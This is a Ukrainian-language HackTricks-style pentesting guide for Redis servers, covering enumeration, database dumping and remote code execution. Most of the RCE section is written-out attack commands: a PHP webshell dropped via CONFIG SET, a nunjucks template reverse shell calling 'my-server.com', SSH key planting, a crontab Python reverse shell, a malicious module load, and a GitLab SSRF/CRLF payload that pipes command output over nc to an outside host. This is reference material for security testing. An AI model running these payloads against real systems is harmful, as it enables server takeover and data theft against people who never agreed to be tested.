6379 - Pentesting Redis
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
З документації: Redis - це відкритий код (ліцензія BSD), в пам'яті сховище структур даних, яке використовується як база даних, кеш і брокер повідомлень.
За замовчуванням Redis використовує протокол на основі простого тексту, але ви повинні пам'ятати, що він також може реалізувати ssl/tls. Дізнайтеся, як запустити Redis з ssl/tls тут.
Порт за замовчуванням: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Автоматичне перерахування
Деякі автоматизовані інструменти, які можуть допомогти отримати інформацію з екземпляра redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Ручна енумерація
Банер
Redis є текстовим протоколом, ви можете просто надіслати команду в сокет і повернуті значення будуть читабельними. Також пам'ятайте, що Redis може працювати з використанням ssl/tls (але це дуже дивно).
У звичайному екземплярі Redis ви можете просто підключитися за допомогою nc
або ви також можете використовувати redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Першою командою, яку ви можете спробувати, є info
. Вона може повернути вихід з інформацією про екземпляр Redis або щось на зразок наступного:
-NOAUTH Authentication required.
У цьому останньому випадку це означає, що вам потрібні дійсні облікові дані для доступу до екземпляра Redis.
Аутентифікація Redis
За замовчуванням Redis можна отримати доступ без облікових даних. Однак його можна налаштувати на підтримку тільки пароля або імені користувача + пароля.
Можна встановити пароль у файлі redis.conf за допомогою параметра requirepass
або тимчасово до перезапуску служби, підключившись до неї та виконавши: config set requirepass p@ss$12E45
.
Також можна налаштувати ім'я користувача в параметрі masteruser
у файлі redis.conf.
note
Якщо налаштовано лише пароль, то використовується ім'я користувача "default".
Також зверніть увагу, що немає способу дізнатися зовні, чи був Redis налаштований лише з паролем або з ім'ям користувача + паролем.
У таких випадках вам потрібно знайти дійсні облікові дані для взаємодії з Redis, тому ви можете спробувати brute-force.
Якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сесію після встановлення з'єднання за допомогою команди:
AUTH <username> <password>
Дійсні облікові дані будуть підтверджені: +OK
Аутентифікована енумерація
Якщо сервер Redis дозволяє анонімні з'єднання або якщо ви отримали дійсні облікові дані, ви можете розпочати процес енумерації для служби, використовуючи наступні команди:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Інші команди Redis можна знайти тут і тут.
Зверніть увагу, що команди Redis екземпляра можуть бути перейменовані або видалені у файлі redis.conf. Наприклад, цей рядок видалить команду FLUSHDB:
rename-command FLUSHDB ""
Більше про безпечну конфігурацію служби Redis тут: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Ви також можете моніторити в реальному часі команди Redis, виконані за допомогою команди monitor
, або отримати топ 25 найповільніших запитів за допомогою slowlog get 25
Знайдіть більше цікавої інформації про інші команди Redis тут: https://lzone.de/cheat-sheet/Redis
Вивантаження бази даних
Всередині Redis бази даних - це числа, що починаються з 0. Ви можете дізнатися, чи використовується якась з них, з виходу команди info
в частині "Keyspace":
Або ви можете просто отримати всі keyspaces (бази даних) за допомогою:
INFO keyspace
У цьому прикладі використовуються бази даних 0 та 1. База даних 0 містить 4 ключі, а база даних 1 містить 1. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
У разі отримання наступної помилки -WRONGTYPE Operation against a key holding the wrong kind of value
під час виконання GET <KEY>
, це може бути через те, що ключ може бути чимось іншим, ніж рядком або цілим числом, і для його відображення потрібен спеціальний оператор.
Щоб дізнатися тип ключа, використовуйте команду TYPE
, приклад нижче для ключів списку та хешу.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Вивантажте базу даних за допомогою npm redis-dump або python redis-utils
Redis RCE
Інтерактивна оболонка
redis-rogue-server може автоматично отримати інтерактивну оболонку або зворотну оболонку в Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Info from here. Ви повинні знати шлях до папки веб-сайту:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Якщо виникає виняток доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання і спробувати знову, не забувайте відновити базу даних.
Шаблон Вебоболонки
Як і в попередньому розділі, ви також можете перезаписати деякий html шаблонний файл, який буде інтерпретовано шаблонним двигуном, і отримати оболонку.
Наприклад, слідуючи цьому опису, ви можете побачити, що зловмисник вставив rev shell в html, який інтерпретується двигуном шаблонів nunjucks:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
warning
Зверніть увагу, що декілька шаблонних движків кешують шаблони в пам'яті, тому навіть якщо ви їх перезапишете, новий не буде виконаний. У таких випадках або розробник залишив автоматичне перезавантаження активним, або вам потрібно зробити DoS на сервісі (і сподіватися, що він буде перезапущений автоматично).
SSH
Приклад звідси
Будь ласка, зверніть увагу, що результат config get dir
може змінитися після інших ручних експлуатаційних команд. Рекомендується виконати його спочатку відразу після входу в Redis. У виході config get dir
ви можете знайти домашню директорію користувача redis (зазвичай /var/lib/redis або /home/redis/.ssh), і знаючи це, ви знаєте, куди можна записати файл authenticated_users
для доступу через ssh з користувачем redis. Якщо ви знаєте домашню директорію іншого дійсного користувача, де у вас є права на запис, ви також можете зловживати цим:
- Згенеруйте пару ssh публічного-приватного ключа на вашому ПК:
ssh-keygen -t rsa
- Запишіть публічний ключ у файл:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Імпортуйте файл у redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Збережіть публічний ключ у файлі authorized_keys на сервері redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Нарешті, ви можете ssh на сервер redis з приватним ключем: ssh -i id_rsa redis@10.85.0.52
Ця техніка автоматизована тут: https://github.com/Avinash-acid/Redis-Server-Exploit
Крім того, системних користувачів також можна виявити, перевіривши з config set dir /home/USER
, і після підтвердження новий authorized_keys
можна записати в /home/USER/.ssh/authorized_keys
. Використовуйте redis-rce-ssh для брутфорсу цього з wordlist імен користувачів та перезапису authorized_keys
.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Останній приклад для Ubuntu, для Centos, вище наведена команда повинна бути: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Цей метод також можна використовувати для заробітку біткойнів :yam
Завантаження модуля Redis
- Дотримуючись інструкцій з https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, ви можете скомпілювати модуль redis для виконання довільних команд.
- Потім вам потрібен спосіб завантажити скомпільований модуль.
- Завантажте завантажений модуль під час виконання з
MODULE LOAD /path/to/mymodule.so
. - Перегляньте завантажені модулі, щоб перевірити, чи був він правильно завантажений:
MODULE LIST
. - Виконайте команди:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Вивантажте модуль, коли завгодно:
MODULE UNLOAD mymodule
.
Обхід пісочниці LUA
Тут ви можете побачити, що Redis використовує команду EVAL для виконання коду Lua в пісочниці. У пов'язаному пості ви можете побачити як це зловживати, використовуючи функцію dofile, але очевидно, що це більше не можливо. У будь-якому випадку, якщо ви можете обійти пісочницю Lua, ви могли б виконати довільні команди на системі. Також, з того ж посту ви можете побачити деякі варіанти для виклику DoS.
Деякі CVE для втечі з LUA:
Модуль Master-Slave
Головний redis автоматично синхронізує всі операції зі slave redis, що означає, що ми можемо розглядати вразливість redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF, що спілкується з Redis
Якщо ви можете надіслати текстовий запит до Redis, ви можете спілкуватися з ним, оскільки Redis буде читати запит рядок за рядком і просто відповідати помилками на рядки, які не розуміє:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Тому, якщо ви знайдете SSRF vuln на вебсайті і зможете контролювати деякі заголовки (можливо, з вразливістю CRLF) або POST параметри, ви зможете надсилати довільні команди до Redis.
Приклад: Gitlab SSRF + CRLF до Shell
У Gitlab11.4.7 була виявлена SSRF вразливість та CRLF. SSRF вразливість була в функціоналі імпорту проекту з URL під час створення нового проекту і дозволяла отримувати доступ до довільних IP у формі [0:0:0:0:0:ffff:127.0.0.1] (це доступ до 127.0.0.1), а CRLF вразливість була використана просто додаванням %0D%0A символів до URL.
Тому стало можливим зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis, який керує чергами з gitlab і зловживати цими чергами для отримання виконання коду. Пейлоад зловживання чергою Redis:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
А URL encode запит зловживаючи SSRF та CRLF для виконання whoami
та відправлення виходу через nc
виглядає так:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
З якоїсь причини (як для автора https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ з якого була взята ця інформація) експлуатація працювала з схемою git
, а не з схемою http
.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.